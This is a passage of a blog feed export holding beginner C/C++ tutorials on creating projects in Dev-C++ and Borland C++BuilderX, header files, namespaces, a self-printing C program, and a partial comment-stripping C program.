&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;ParaJust&quot; style=&quot;font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;The C++ language doesn&#39;t define how to create a project. When you buy or acquire a c++ compiler, its documentation should tell you how to create and execute a project. We describe here how how to create a project in most familiar environments. If you have an environment or compiler that is not in our list, consult its documentation to know how to use it.&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;ParaJust&quot; style=&quot;font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;ParaJust&quot; style=&quot;font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;One of our most valuable goals in writing a site is to avoid including in a program an issue that has not previously been addressed or explained. This site is written as a (general) reference towards the C++ language. To learn C++, you need a C++ compiler, and we describe &lt;b&gt; how to create a C++ project&lt;/b&gt; with some of the most commonly used compilers or programming environments. As it happens, and as you may have noticed, different companies (and different individuals for that matter) choose to implement a language as they see fit. &lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Depending on the programming environment you are using, even depending on how you create your program (for example KDevelop, Borland C++ Builder, and Microsoft Visual C++ all provide more than one way to create or start a console application), sometimes you have a starting empty file or a file with a few lines. Whatever is in the file, you do not need to delete it. For example, KDevelop displays a commented message in the file. You should not delete that text and it will never interfere with your program. Borland C++ Builder opens a file with a couple of &quot;#pragma&quot; lines. You will never have any reason to delete those lines, although you can, without any risk; but since they do not affect your program, why waste your time deleting them?&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;       &lt;/span&gt;&lt;div style=&quot;font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Depending on the programming environment you are using and how you create your program, the first file may display a line as #include &lt;iostream.h&gt; or another #include line. The file may also have a main() function already included. Here is how we will deal with this issue:&lt;/iostream.h&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;       &lt;/span&gt;&lt;ul style=&quot;font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;If the file displays a line with #include &lt;i&gt;Something&lt;/i&gt;, leave it as is. It will not negatively affect your program. Such a file has been           tested&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;If the file displays a line with #include &lt;iostream.h&gt;, leave it like that and continue with our other           instructions&lt;/iostream.h&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;If the file is empty or it does not include a line with #include at all, then you will just follow our instructions and type them as given&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;If the file already includes the main() function, with a line like int           main(&lt;i&gt;Something&lt;/i&gt;), use that main() function for the exercises in this book. Unless stated otherwise, that function is ready for you and don&#39;t modify the &lt;i&gt;Something&lt;/i&gt; part between the           parentheses.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;       &lt;/span&gt;&lt;div style=&quot;font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;From now on, you will sometimes be asked to create a project. Follow the instructions of your compiler as we have seen above.&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/6699257498091500528/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://easymasters.blogspot.com/2011/07/c-projects.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/6699257498091500528'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/6699257498091500528'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/2011/07/c-projects.html' title='C++ Projects'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7551441440082432535.post-6519497097159487097</id><published>2011-07-05T04:12:00.001-07:00</published><updated>2011-07-05T04:12:53.844-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="C / C++"/><title type='text'>Introduction to Header Files</title><content type='html'>C++ is a huge language so much that it uses various sets of instructions from different parts to do its work. Some of these instructions come in computer files that you simply &quot;put&quot; in your program. These instructions or files are also called libraries. To make your job easier, some of these libraries have already been written for you so that as you include them in your program, you already have a good foundation to continue your construction. Yet, some of these libraries have their limitations, which means you will expand them by writing or including your own libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;ParaJust&quot;&gt;As noted already, there are libraries previously written for you. One of them asks the computer to receive keyboard strokes from you the user (when you press a key) and another asks the machine (the computer performing some operations) to give back a result. The libraries are files that you place at the beginning of your program as if you were telling the computer to receive its preliminary instructions from another program before expanding on yours. The libraries are (also) called header files and, as computer files, they have the extension &quot;.h&quot;. An example would be house.h, or person.h. As you see, they could have any name; when you start creating your own libraries, you will give your files custom and recognizable names.&lt;/div&gt;&lt;div class=&quot;ParaJust&quot;&gt;The first library we will be interested in is called &lt;b&gt; iostream&lt;/b&gt;. It asks the computer to display stuff on the monitor&#39;s       screen.&lt;/div&gt;&lt;div class=&quot;ParaJust&quot;&gt;To see how to put a library in your program, you put it at the beginning of the file. Here is an example:&lt;/div&gt;&lt;pre&gt;iostream.h&lt;/pre&gt;&lt;div class=&quot;ParaJust&quot;&gt;To use a library in your program, you simply include it by using the word &quot;include&quot; before the name of the library, as follows:&lt;/div&gt;&lt;pre&gt;include iostream.h&lt;/pre&gt;&lt;div class=&quot;ParaJust&quot;&gt;Since this is a computer language, the computer will follow particular instructions to perform appropriately, which will make this language distinct from the everyday languages. C++ has some words it treats specially and some that will completely depend on you the programmer. For example, the word &quot;include&quot; could be a special word used by C++ or a regular you want to use in your program. In this particular situation, if you want the computer to &quot;know&quot; that the word &quot;include&quot; means, &quot;I want to include the following library&quot;, you will have to append a special sign to it. The pound sign &quot;#&quot; will do just that. Therefore, to include a library, you precede the include word with the # sign.&lt;/div&gt;&lt;div class=&quot;ParaJust&quot;&gt;Here is an example:&lt;/div&gt;&lt;pre&gt;#include iostream.h&lt;/pre&gt;&lt;div class=&quot;ParaJust&quot;&gt;There are usually two kinds of libraries or files you will use in your programs: libraries that came with C++, and those that you write. To include your own library, you would enclose it between double quotes, like this&lt;/div&gt;&lt;pre&gt;#include &quot;books.h&quot;&lt;/pre&gt;&lt;div class=&quot;ParaJust&quot;&gt;When you include a library that came with C++, you enclose it between &amp;lt; and &amp;gt; as follows:&lt;/div&gt;&lt;pre&gt;#include &lt;iostream.h&gt;&lt;/iostream.h&gt;&lt;/pre&gt;&lt;div class=&quot;ParaJust&quot;&gt;Following this same technique, you can add as many libraries as you see fit. Before adding a file, you will need to know what that file is and why you need it. This will mostly depend on your application. For example, you can include a library called stdio like this:&lt;/div&gt;&lt;pre&gt;#include &lt;iostream.h&gt;
#include &lt;stdio.h&gt;&lt;/stdio.h&gt;&lt;/iostream.h&gt;&lt;/pre&gt;&lt;br /&gt;
&amp;nbsp; &lt;br /&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; style=&quot;width: 660px;&quot;&gt;&lt;tbody&gt;
&lt;tr style=&quot;color: red;&quot;&gt;     &lt;td width=&quot;100%&quot;&gt;&lt;div class=&quot;SubTitle&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Introduction to Namespaces&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;
&lt;tr&gt;     &lt;td bgcolor=&quot;#0000ff&quot; height=&quot;1&quot; width=&quot;100%&quot;&gt;&lt;br /&gt;
&lt;/td&gt;   &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;div class=&quot;ParaJust&quot;&gt;A namespace is a section of code, delimited and referred to using a specific name. A namespace is created to set apart a portion of code with the goal to reduce, otherwise eliminate, confusion. This is done by giving a common name to that portion of code so that, when referring to it, only entities that are part of that section would be referred to.&lt;/div&gt;&lt;div class=&quot;ParaJust&quot;&gt;Because C++ is so huge, its libraries are created in different namespaces, each with a particular name. To use an existing namespace in your program, you must know its name. To use such a namespace, you can type the using namespace expression followed by the name of the namespace and a semi-colon. For example, to use a namespace called django, you would type: &lt;/div&gt;&lt;pre&gt;using namespace django;&lt;/pre&gt;&lt;div class=&quot;ParaJust&quot;&gt;One of the namespaces used in C++ is called std.       Therefore, to use it, you can type:       &lt;/div&gt;&lt;pre&gt;using namespace std;&lt;/pre&gt;&lt;div class=&quot;ParaJust&quot;&gt;After typing this, any part of the namespace becomes       available to you. The &lt;b&gt; iostream&lt;/b&gt; library we mentioned above is part of the std namespace. When you use it, you don&#39;t need to include the extended of the &lt;b&gt; iostream&lt;/b&gt; file. For this reason, you can start your program with:       &lt;/div&gt;&lt;pre&gt;#include &lt;iostream&gt;
using namespace std;&lt;/iostream&gt;&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/6519497097159487097/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://easymasters.blogspot.com/2011/07/introduction-to-header-files.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/6519497097159487097'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/6519497097159487097'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/2011/07/introduction-to-header-files.html' title='Introduction to Header Files'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7551441440082432535.post-2977467418390227079</id><published>2011-07-05T04:11:00.000-07:00</published><updated>2011-07-05T04:11:01.888-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="C / C++"/><title type='text'>Creating and Executing a Dev-C++ 4 Application</title><content type='html'>&lt;div class=&quot;parajust&quot; style=&quot;font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Dev-C++ is a free programming environment. To get it,       you can download it from &lt;a href=&quot;http://www.bloodshed.net/&quot;&gt;http://www.bloodshed.net&lt;/a&gt;.       If you decide to use it, you should help the developers with a financial       contribution.&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;       &lt;/span&gt;&lt;ol style=&quot;font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Start Dev-C++ 4&lt;br /&gt;
&lt;br /&gt;
&lt;img border=&quot;0&quot; height=&quot;298&quot; src=&quot;http://www.functionx.com/cpp/images/devc1.gif&quot; width=&quot;400&quot; /&gt;&lt;/span&gt;           &lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;On the main menu, click File &lt;a href=&quot;http://hackguide4u.blogspot.com/2011/04/creating-and-executing-dev-c-4.html&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;/a&gt;           New Project...&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;On the New Project dialog box, click the Project property sheet if           necessary.&lt;br /&gt;
Click Console Application&lt;br /&gt;
&lt;br /&gt;
&lt;img border=&quot;0&quot; height=&quot;169&quot; src=&quot;http://www.functionx.com/cpp/images/devc2.gif&quot; width=&quot;400&quot; /&gt;&lt;/span&gt;           &lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Click OK.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;On the subsequent New Project dialog box, type &lt;b&gt;Exercise&lt;/b&gt; to           change the name of the project:&lt;br /&gt;
&lt;br /&gt;
&lt;img border=&quot;0&quot; height=&quot;134&quot; src=&quot;http://www.functionx.com/cpp/images/devc3.gif&quot; width=&quot;276&quot; /&gt;&lt;/span&gt;           &lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Click OK. You will be asked to create a location for the project.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Click the Create New Folder button &lt;img border=&quot;0&quot; height=&quot;29&quot; src=&quot;http://www.functionx.com/buttons/createnfdr1.gif&quot; width=&quot;31&quot; /&gt;           .&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Type &lt;b&gt;Exercise1&lt;/b&gt; and press Enter.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Double-click Exercise1 to display it in the Save In combo box:&lt;br /&gt;
&lt;br /&gt;
&lt;img border=&quot;0&quot; height=&quot;273&quot; src=&quot;http://www.functionx.com/cpp/images/devc4.gif&quot; width=&quot;428&quot; /&gt;&lt;/span&gt;           &lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Click Save.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Because the project has already been saved, it is better to save your C++ files as you go. As it happens, Dev-C++ has already created the first C++ file for you.&lt;br /&gt;
Change the contents of the file as follows:&lt;br /&gt;
&amp;nbsp;           &lt;/span&gt;&lt;table border=&quot;0&quot; style=&quot;margin-left: 0px; margin-right: 0px; text-align: left; width: 560px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;               &lt;td width=&quot;100%&quot;&gt;                 &lt;pre&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;#include &lt;iostream.h&gt;
#include &lt;stdio.h&gt;

int main(int argc, char *argv[])
{
cout &amp;lt;&amp;lt; &quot;C++ is Fun!!!&quot;;
getchar();
return 0;
}&lt;/stdio.h&gt;&lt;/iostream.h&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;             &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;           &lt;br /&gt;
&lt;img border=&quot;0&quot; height=&quot;298&quot; src=&quot;http://www.functionx.com/cpp/images/devc5.gif&quot; width=&quot;400&quot; /&gt;&lt;/span&gt;           &lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;To save the current C++ file, on the Main toolbar, click the Save           button&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Type &lt;b&gt;Exo&lt;/b&gt; as the name of the file.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Click Save.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;To execute the program, on the main menu, click Execute -&amp;gt;           Compile&lt;br /&gt;
&lt;br /&gt;
&lt;img border=&quot;0&quot; height=&quot;250&quot; src=&quot;http://www.functionx.com/cpp/images/devc6.gif&quot; width=&quot;258&quot; /&gt;&lt;/span&gt;           &lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;After the program has been compiled, click Execute.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;After viewing the program, press Enter to close the DOS window to           return to Dev-C++&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;           &amp;nbsp;  &lt;/span&gt;&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; style=&quot;font-family: Arial,Helvetica,sans-serif; margin-left: 0px; margin-right: 0px; text-align: left; width: 660px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;     &lt;td width=&quot;100%&quot;&gt;       &lt;div class=&quot;SubTitle&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Borland C++BuilderX&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;
&lt;tr&gt;     &lt;td bgcolor=&quot;#0000ff&quot; height=&quot;1&quot; width=&quot;100%&quot;&gt;&lt;br /&gt;
&lt;/td&gt;   &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt; &lt;/span&gt;&lt;table border=&quot;0&quot; style=&quot;font-family: Arial,Helvetica,sans-serif; margin-left: 0px; margin-right: 0px; text-align: left; width: 660px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;     &lt;td width=&quot;100%&quot;&gt;       &lt;div class=&quot;parajust&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Borland C++BuilderX is a commercial programming       environment developed by Borland.&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;parajust&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt; To help programmers, Borland published a       free version, called Personal Edition, that you&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;parajust&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt; can download and use for       your lessons.&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt; &lt;/span&gt;&lt;ol style=&quot;font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;On the main menu of C++BuilderX, click File -&amp;gt; New...&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;In the Object Gallery dialog box, click New Console&lt;br /&gt;
&lt;br /&gt;
&lt;img border=&quot;0&quot; height=&quot;318&quot; src=&quot;http://www.functionx.com/cpp/dlgboxes/objgallery1.gif&quot; width=&quot;400&quot; /&gt;&lt;/span&gt;     &lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Click OK&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;In the New Console Application - Step 1 of 3, enter the name of the new     application&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt; in the Name edit box. In this case, you can type &lt;b&gt;Exercise1&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;img border=&quot;0&quot; height=&quot;279&quot; src=&quot;http://www.functionx.com/cpp/dlgboxes/newconsapp1.gif&quot; width=&quot;400&quot; /&gt;&lt;/span&gt;     &lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Click Next&lt;br /&gt;
&lt;br /&gt;
&lt;img border=&quot;0&quot; height=&quot;321&quot; src=&quot;http://www.functionx.com/cpp/dlgboxes/newconsapp2.gif&quot; width=&quot;400&quot; /&gt;&lt;/span&gt;     &lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;In the New Console Application Wizard - Step 2 of 3, accept all defaults     and click Next&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;In the New Console Application Wizard - Step 3 of 3, click the check box     under Create&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Click Untitled1 and delete it to replace it with Exercise&lt;br /&gt;
&lt;br /&gt;
&lt;img border=&quot;0&quot; height=&quot;321&quot; src=&quot;http://www.functionx.com/cpp/dlgboxes/newconsapp3.gif&quot; width=&quot;400&quot; /&gt;&lt;/span&gt;     &lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Click Finish&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;In the Project Content frame, double-click Exercise.cpp to display it in     the right frame&lt;br /&gt;
&lt;br /&gt;
&lt;img border=&quot;0&quot; height=&quot;257&quot; src=&quot;http://www.functionx.com/cpp/windows/cbx1.gif&quot; width=&quot;400&quot; /&gt;&lt;/span&gt;     &lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;To execute the application, on the main menu, click Run -&amp;gt; Run Project&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;</content><link rel='replies' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/2977467418390227079/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://easymasters.blogspot.com/2011/07/creating-and-executing-dev-c-4.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/2977467418390227079'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/2977467418390227079'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/2011/07/creating-and-executing-dev-c-4.html' title='Creating and Executing a Dev-C++ 4 Application'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7551441440082432535.post-8350831440062936782</id><published>2011-07-05T03:41:00.001-07:00</published><updated>2011-07-05T03:41:59.776-07:00</updated><title type='text'>Program to Print it’s Own Source Code</title><content type='html'>&lt;div&gt;&lt;img alt=&quot;&quot; class=&quot;alignnone&quot; height=&quot;125&quot; src=&quot;http://www.gohacking.com/wp-content/uploads/2008/12/c.jpg&quot; width=&quot;158&quot; /&gt;&lt;/div&gt;Here is a C program to print it’s own source code. That is the output of this program is exactly same as it’s source code. Here’s the program&lt;br /&gt;
&lt;div&gt;#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;
char *program=”#include&amp;lt;stdio.h&amp;gt;%cchar *program=%c%s%c;%cvoid main()%c{%cprintf(program,10,34,program,34,10, 10,10,10);%c}”; void main()&lt;br /&gt;
{&lt;br /&gt;
printf(program,10,34,program,34,10,10,10,10);&lt;br /&gt;
}&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/8350831440062936782/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://easymasters.blogspot.com/2011/07/program-to-print-its-own-source-code.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/8350831440062936782'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/8350831440062936782'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/2011/07/program-to-print-its-own-source-code.html' title='Program to Print it’s Own Source Code'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7551441440082432535.post-7628561083134606670</id><published>2011-07-05T03:40:00.001-07:00</published><updated>2011-07-05T04:05:01.981-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="C / C++"/><title type='text'>C Program to Remove Comments and Blank lines from a valid C Program</title><content type='html'>&lt;div style=&quot;text-align: left;&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;alignnone&quot; height=&quot;125&quot; src=&quot;http://www.gohacking.com/wp-content/uploads/2008/12/c.jpg&quot; width=&quot;158&quot; /&gt;&lt;/div&gt;This program accepts any valid C Program as an input and removes the comments and blanks from it. The output is a program that has no comments and blank lines.&lt;br /&gt;
&lt;div&gt;#include&amp;lt;stdio.h&amp;gt;&lt;/div&gt;&lt;div&gt;#include&amp;lt;conio.h&amp;gt;&lt;/div&gt;&lt;div&gt;#include&amp;lt;process.h&amp;gt;&lt;/div&gt;&lt;div&gt;#include&amp;lt;dos.h&amp;gt;&lt;/div&gt;&lt;div&gt;void main()&lt;/div&gt;&lt;div&gt;{&lt;br /&gt;
FILE *a,*b;&lt;/div&gt;&lt;div&gt;char fname[20],ch,tch=NULL,tch1=NULL;&lt;/div&gt;&lt;div&gt;int flag1=0,flag=0,count=0,count1=0,count2=0;&lt;br /&gt;
clrscr();&lt;/div&gt;&lt;div&gt;printf(“Enter the file name (.C or .TXT)\n”);&lt;/div&gt;&lt;div&gt;gets(fname);&lt;/div&gt;&lt;div&gt;a=fopen(fname,”r”);&lt;/div&gt;&lt;div&gt;if(a==NULL)&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;puts(“Cannot open the source file!!!”);&lt;/div&gt;&lt;div&gt;delay(500);&lt;/div&gt;&lt;div&gt;exit(1);&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;b=fopen(“target.c”,”w”);&lt;/div&gt;&lt;div&gt;if(b==NULL)&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;puts(“Cannot create target file!!!”);&lt;/div&gt;&lt;div&gt;delay(500);&lt;/div&gt;&lt;div&gt;exit(1);&lt;/div&gt;&lt;div&gt;}&lt;br /&gt;
while(1)&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;ch=fgetc(a);&lt;/div&gt;&lt;div&gt;if(ch==EOF) break;&lt;br /&gt;
else&lt;/div&gt;&lt;div&gt;{&lt;br /&gt;
if(ch==’\n’)&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;count1=1;&lt;/div&gt;&lt;div&gt;tch1=ch;&lt;/div&gt;&lt;div&gt;continue;&lt;/div&gt;&lt;div&gt;}&lt;br /&gt;
else if(ch==’\n’&amp;amp;&amp;amp; count1==1)&lt;/div&gt;&lt;div&gt;continue;&lt;/div&gt;&lt;div&gt;else if(ch==’/&#39;&amp;amp;&amp;amp;count==0)&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;flag1=1;&lt;/div&gt;&lt;div&gt;tch=ch;&lt;/div&gt;&lt;div&gt;count=1;&lt;/div&gt;&lt;div&gt;continue;&lt;/div&gt;&lt;div&gt;}&lt;br /&gt;
else if(ch==’*&#39;&amp;amp;&amp;amp; flag1==1)&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;flag=1;&lt;/div&gt;&lt;div&gt;flag1=0;&lt;/div&gt;&lt;div&gt;tch=NULL;&lt;/div&gt;&lt;div&gt;}&lt;br /&gt;
else if(ch==’*&#39;&amp;amp;&amp;amp;flag==1)&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;count2=1;&lt;/div&gt;&lt;div&gt;count=1;&lt;/div&gt;&lt;div&gt;continue;&lt;/div&gt;&lt;div&gt;}&lt;br /&gt;
else if(ch==’/&#39;&amp;amp;&amp;amp;count2==1)&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;flag=0;&lt;/div&gt;&lt;div&gt;count=0;&lt;/div&gt;&lt;div&gt;tch=NULL;&lt;/div&gt;&lt;div&gt;continue;&lt;/div&gt;&lt;div&gt;}&lt;br /&gt;
else if(count==1&amp;amp;&amp;amp;flag==1)&lt;/div&gt;&lt;div&gt;count=0;&lt;br /&gt;
else if(flag1==1)&lt;/div&gt;&lt;div&gt;flag1=0;&lt;/div&gt;&lt;div&gt;}&lt;br /&gt;
